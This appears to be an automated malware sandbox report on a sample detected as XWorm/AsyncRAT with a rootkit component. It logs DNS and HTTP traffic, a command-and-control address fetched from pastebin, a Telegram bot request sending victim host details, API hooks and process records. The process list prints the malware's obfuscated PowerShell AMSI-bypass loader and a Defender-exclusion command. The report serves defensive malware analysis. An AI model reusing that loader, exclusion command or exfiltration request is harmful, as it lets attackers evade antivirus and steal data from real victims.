Dec 14, 2024 18:54:25.717736959 CET	37593	49718	115.69.183.222	192.168.2.8
Dec 14, 2024 18:54:25.720304966 CET	49718	37593	192.168.2.8	115.69.183.222
Dec 14, 2024 18:54:47.684566021 CET	37593	49718	115.69.183.222	192.168.2.8
Dec 14, 2024 18:54:47.685105085 CET	49718	37593	192.168.2.8	115.69.183.222
Dec 14, 2024 18:55:27.552009106 CET	49718	37593	192.168.2.8	115.69.183.222
Dec 14, 2024 18:55:27.671818972 CET	37593	49718	115.69.183.222	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 14, 2024 18:53:05.336044073 CET	51508	53	192.168.2.8	1.1.1.1
Dec 14, 2024 18:53:05.477273941 CET	53	51508	1.1.1.1	192.168.2.8
Dec 14, 2024 18:53:44.408323050 CET	50430	53	192.168.2.8	1.1.1.1
Dec 14, 2024 18:53:44.546622038 CET	53	50430	1.1.1.1	192.168.2.8
Dec 14, 2024 18:53:46.724368095 CET	55125	53	192.168.2.8	1.1.1.1
Dec 14, 2024 18:53:46.867073059 CET	53	55125	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 14, 2024 18:53:05.336044073 CET	192.168.2.8	1.1.1.1	0xea7	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 18:53:44.408323050 CET	192.168.2.8	1.1.1.1	0xa415	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 18:53:46.724368095 CET	192.168.2.8	1.1.1.1	0xe351	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 14, 2024 18:53:05.477273941 CET	1.1.1.1	192.168.2.8	0xea7	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false
Dec 14, 2024 18:53:44.546622038 CET	1.1.1.1	192.168.2.8	0xa415	No error (0)	pastebin.com	104.20.4.235	A (IP address)	IN (0x0001)	false
Dec 14, 2024 18:53:44.546622038 CET	1.1.1.1	192.168.2.8	0xa415	No error (0)	pastebin.com	172.67.19.24	A (IP address)	IN (0x0001)	false
Dec 14, 2024 18:53:44.546622038 CET	1.1.1.1	192.168.2.8	0xa415	No error (0)	pastebin.com	104.20.3.235	A (IP address)	IN (0x0001)	false
Dec 14, 2024 18:53:46.867073059 CET	1.1.1.1	192.168.2.8	0xe351	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

pastebin.com

api.telegram.org

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49706	208.95.112.1	80	7424	C:\ProgramData\KrnlSetupSus.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 18:53:05.718446970 CET	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Dec 14, 2024 18:53:06.891259909 CET	175	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 17:53:06 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49712	104.20.4.235	443	7424	C:\ProgramData\KrnlSetupSus.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-14 17:53:46 UTC	74	OUT	GET /raw/Zx6DUkf9 HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-12-14 17:53:46 UTC	391	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 17:53:46 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: EXPIRED Last-Modified: Sat, 14 Dec 2024 17:53:46 GMT Server: cloudflare CF-RAY: 8f200e2829108ca7-EWR
2024-12-14 17:53:46 UTC	26	IN	Data Raw: 31 34 0d 0a 31 31 35 2e 36 39 2e 31 38 33 2e 32 32 32 3a 33 37 35 39 33 0d 0a Data Ascii: 14115.69.183.222:37593
2024-12-14 17:53:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49713	149.154.167.220	443	7424	C:\ProgramData\KrnlSetupSus.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-14 17:53:48 UTC	446	OUT	GET /bot6521061783:AAG8RBSc5RacffL-i60qrqMJYo0j7RajlZI/sendMessage?chat_id=5999137434&text=%E2%98%A0%20%5BXWorm%20V5.2%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A1A2A8BD1A549B29BFB2C%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%20KMXL7DUF%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20ezzznikka HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-12-14 17:53:48 UTC	346	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Sat, 14 Dec 2024 17:53:48 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-14 17:53:48 UTC	56	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 30 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4c 6f 67 67 65 64 20 6f 75 74 22 7d Data Ascii: {"ok":false,"error_code":400,"description":"Logged out"}

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
ZwEnumerateKey	INLINE	explorer.exe, winlogon.exe
NtQuerySystemInformation	INLINE	explorer.exe, winlogon.exe
ZwResumeThread	INLINE	explorer.exe, winlogon.exe
NtDeviceIoControlFile	INLINE	explorer.exe, winlogon.exe
ZwDeviceIoControlFile	INLINE	explorer.exe, winlogon.exe
NtEnumerateKey	INLINE	explorer.exe, winlogon.exe
NtQueryDirectoryFile	INLINE	explorer.exe, winlogon.exe
ZwEnumerateValueKey	INLINE	explorer.exe, winlogon.exe
ZwQuerySystemInformation	INLINE	explorer.exe, winlogon.exe
NtResumeThread	INLINE	explorer.exe, winlogon.exe
RtlGetNativeSystemInformation	INLINE	explorer.exe, winlogon.exe
NtQueryDirectoryFileEx	INLINE	explorer.exe, winlogon.exe
NtEnumerateValueKey	INLINE	explorer.exe, winlogon.exe
ZwQueryDirectoryFileEx	INLINE	explorer.exe, winlogon.exe
ZwQueryDirectoryFile	INLINE	explorer.exe, winlogon.exe

Processes

Process: explorer.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Process: winlogon.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Target ID:	0
Start time:	12:53:00
Start date:	14/12/2024
Path:	C:\Users\user\Desktop\RdLfpZY5A9.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\RdLfpZY5A9.exe"
Imagebase:	0x600000
File size:	265'216 bytes
MD5 hash:	28DB4677DCBBAA0A4C5ADBC02C9DA4F3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000002.1406303961.0000000012938000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.1406303961.0000000012938000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000002.1406303961.0000000012938000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	12:53:00
Start date:	14/12/2024
Path:	C:\ProgramData\Install.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Install.exe"
Imagebase:	0x7c0000
File size:	165'888 bytes
MD5 hash:	B5F6C9AC3389F5E61B4C750CF950E27C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Rootkit77, Description: Yara detected 77Rootkit, Source: 00000002.00000002.1406899419.00000000007C2000.00000002.00000001.01000000.00000006.sdmp, Author: Joe Security Rule: JoeSecurity_Rootkit77, Description: Yara detected 77Rootkit, Source: 00000002.00000000.1404083892.00000000007C2000.00000002.00000001.01000000.00000006.sdmp, Author: Joe Security Rule: JoeSecurity_Rootkit77, Description: Yara detected 77Rootkit, Source: C:\ProgramData\Install.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 70%, ReversingLabs
Reputation:	low
Has exited:	true

Target ID:	3
Start time:	12:53:00
Start date:	14/12/2024
Path:	C:\ProgramData\KrnlSetupSus.exe
Wow64 process (32bit):	false
Commandline:	"C:\ProgramData\KrnlSetupSus.exe"
Imagebase:	0xbc0000
File size:	87'040 bytes
MD5 hash:	6435792D63BE630506EB9EEBBD1E3878
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000003.00000000.1404695399.0000000000BC2000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000003.00000000.1404695399.0000000000BC2000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000003.00000000.1404695399.0000000000BC2000.00000002.00000001.01000000.00000007.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000003.00000002.2788044587.0000000002DE1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000003.00000002.2814408565.0000000012DF2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000003.00000002.2814408565.0000000012DF2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000003.00000002.2814408565.0000000012DF2000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_TelegramRecon, Description: Yara detected Telegram Recon, Source: C:\ProgramData\KrnlSetupSus.exe, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\ProgramData\KrnlSetupSus.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\ProgramData\KrnlSetupSus.exe, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: C:\ProgramData\KrnlSetupSus.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\ProgramData\KrnlSetupSus.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 74%, ReversingLabs
Reputation:	low
Has exited:	false

Target ID:	4
Start time:	12:53:00
Start date:	14/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:zDgZeIZuxWRL{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$lbrdggfZMoOJSI,[Parameter(Position=1)][Type]$IOfHboHVyv)$RBuJknKpjnm=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+'l'+'e'+''+'c'+''+[Char](116)+''+[Char](101)+''+'d'+''+[Char](68)+''+[Char](101)+'l'+'e'+''+[Char](103)+''+[Char](97)+'t'+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'nM'+'e'+'m'+[Char](111)+'r'+[Char](121)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+'De'+[Char](108)+''+'e'+''+[Char](103)+'a'+'t'+''+'e'+'T'+[Char](121)+''+[Char](112)+''+[Char](101)+'','C'+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+''+[Char](44)+''+'P'+''+[Char](117)+''+'b'+'l'+[Char](105)+''+'c'+''+','+''+'S'+''+'e'+'a'+'l'+''+'e'+'d'+[Char](44)+''+'A'+''+'n'+''+[Char](115)+'iC'+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+'u'+''+'t'+'o'+[Char](67)+''+'l'+'a'+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$RBuJknKpjnm.DefineConstructor(''+'R'+''+[Char](84)+''+[Char](83)+''+[Char](112)+'e'+[Char](99)+''+[Char](105)+''+'a'+''+[Char](108)+'N'+'a'+''+'m'+'e'+[Char](44)+'H'+'i'+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+'P'+'u'+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$lbrdggfZMoOJSI).SetImplementationFlags(''+'R'+'u'+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+''+[Char](97)+'n'+[Char](97)+''+[Char](103)+'e'+'d'+'');$RBuJknKpjnm.DefineMethod(''+[Char](73)+''+[Char](110)+'voke','P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+''+','+''+[Char](72)+''+[Char](105)+''+[Char](100)+'e'+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+'e'+[Char](119)+''+[Char](83)+''+[Char](108)+'o'+[Char](116)+''+[Char](44)+''+[Char](86)+''+[Char](105)+'r'+[Char](116)+''+'u'+''+[Char](97)+''+'l'+'',$IOfHboHVyv,$lbrdggfZMoOJSI).SetImplementationFlags(''+[Char](82)+'un'+[Char](116)+'ime'+','+''+[Char](77)+'a'+'n'+''+[Char](97)+''+'g'+''+'e'+''+[Char](100)+'');Write-Output $RBuJknKpjnm.CreateType();}$ysqdxYMCHCLNa=([AppDomain]::CurrentDomain.GetAssemblies()\|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sys'+'t'+''+'e'+''+'m'+''+[Char](46)+'d'+[Char](108)+''+'l'+'')}).GetType('Mi'+[Char](99)+'r'+[Char](111)+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+'3'+[Char](50)+''+[Char](46)+'U'+[Char](110)+'s'+'a'+''+[Char](102)+''+[Char](101)+'Nativ'+[Char](101)+''+[Char](77)+'e'+[Char](116)+'h'+[Char](111)+'d'+[Char](115)+'');$ExDfVzsYxbumyj=$ysqdxYMCHCLNa.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+'P'+[Char](114)+''+[Char](111)+''+[Char](99)+''+[Char](65)+'d'+[Char](100)+''+'r'+'e'+[Char](115)+'s',[Reflection.BindingFlags]('Pu'+[Char](98)+'l'+'i'+'c'+[Char](44)+''+[Char](83)+''+'t'+'a'+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$qnwSIaibfbWlFcLLMVH=zDgZeIZuxWRL @([String])([IntPtr]);$MmSYyEqPQkjxSlmVVTEznD=zDgZeIZuxWRL @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$saKjRLExuCO=$ysqdxYMCHCLNa.GetMethod(''+'G'+''+[Char](101)+''+'t'+''+[Char](77)+'o'+[Char](100)+'u'+[Char](108)+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+[Char](110)+''+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+'n'+[Char](101)+''+[Char](108)+'3'+[Char](50)+''+'.'+''+'d'+''+[Char](108)+''+[Char](108)+'')));$lUrimOjxLHSAgu=$ExDfVzsYxbumyj.Invoke($Null,@([Object]$saKjRLExuCO,[Object]('L'+[Char](111)+'ad'+'L'+''+[Char](105)+''+[Char](98)+''+[Char](114)+'a'+'r'+''+[Char](121)+''+[Char](65)+'')));$BgYJLHVZjDSQrMGil=$ExDfVzsYxbumyj.Invoke($Null,@([Object]$saKjRLExuCO,[Object]('V'+[Char](105)+'rt'+[Char](117)+''+[Char](97)+''+'l'+''+[Char](80)+''+'r'+''+'o'+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+'t'+'')));$kIpEHaJ=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lUrimOjxLHSAgu,$qnwSIaibfbWlFcLLMVH).Invoke(''+[Char](97)+'m'+'s'+''+[Char](105)+'.dll');$rLMnIHfZQPDuCMOEo=$ExDfVzsYxbumyj.Invoke($Null,@([Object]$kIpEHaJ,[Object](''+[Char](65)+''+[Char](109)+'s'+[Char](105)+'Sc'+[Char](97)+''+[Char](110)+''+'B'+'uf'+[Char](102)+''+[Char](101)+'r')));$MjFQYglbdB=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($BgYJLHVZjDSQrMGil,$MmSYyEqPQkjxSlmVVTEznD).Invoke($rLMnIHfZQPDuCMOEo,[uint32]8,4,[ref]$MjFQYglbdB);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$rLMnIHfZQPDuCMOEo,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($BgYJLHVZjDSQrMGil,$MmSYyEqPQkjxSlmVVTEznD).Invoke($rLMnIHfZQPDuCMOEo,[uint32]8,0x20,[ref]$MjFQYglbdB);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+''+'T'+''+[Char](87)+''+[Char](65)+''+'R'+''+[Char](69)+'').GetValue(''+'$'+''+'7'+''+[Char](55)+''+[Char](115)+'t'+'a'+''+[Char](103)+'e'+'r'+'')).EntryPoint.Invoke($Null,$Null)"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Rootkit77, Description: Yara detected 77Rootkit, Source: 00000004.00000002.1516696154.000001A854270000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Rootkit77, Description: Yara detected 77Rootkit, Source: 00000004.00000002.1499817567.000001A84BCC8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	12:53:01
Start date:	14/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	12:53:05
Start date:	14/12/2024
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\dllhost.exe /Processid:{27f34893-8e1f-47b7-b44f-212b7709bf94}
Imagebase:	0x7ff673080000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Target ID:	7
Start time:	12:53:05
Start date:	14/12/2024
Path:	C:\Windows\System32\winlogon.exe
Wow64 process (32bit):	false
Commandline:	winlogon.exe
Imagebase:	0x7ff6cc5a0000
File size:	906'240 bytes
MD5 hash:	F8B41A1B3E569E7E6F990567F21DCE97
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Target ID:	8
Start time:	12:53:05
Start date:	14/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\KrnlSetupSus.exe'
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	9
Start time:	12:53:05
Start date:	14/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	10
Start time:	12:53:06
Start date:	14/12/2024
Path:	C:\Windows\System32\lsass.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\lsass.exe
Imagebase:	0x7ff6b5fa0000
File size:	59'456 bytes
MD5 hash:	A1CC00332BBF370654EE3DC8CDC8C95A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Target ID:	11
Start time:	12:53:06
Start date:	14/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	12
Start time:	12:53:07
Start date:	14/12/2024
Path:	C:\Windows\System32\dwm.exe
Wow64 process (32bit):	false
Commandline:	"dwm.exe"
Imagebase:	0x7ff7751a0000
File size:	94'720 bytes
MD5 hash:	5C27608411832C5B39BA04E33D53536C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Target ID:	13
Start time:	12:53:10
Start date:	14/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	15
Start time:	12:53:10
Start date:	14/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	16
Start time:	12:53:11
Start date:	14/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	17
Start time:	12:53:11
Start date:	14/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	18
Start time:	12:53:11
Start date:	14/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	19
Start time:	12:53:12
Start date:	14/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	20
Start time:	12:53:12
Start date:	14/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	21
Start time:	12:53:13
Start date:	14/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	22
Start time:	12:53:14
Start date:	14/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
Imagebase:	0x7ff67e6d0000
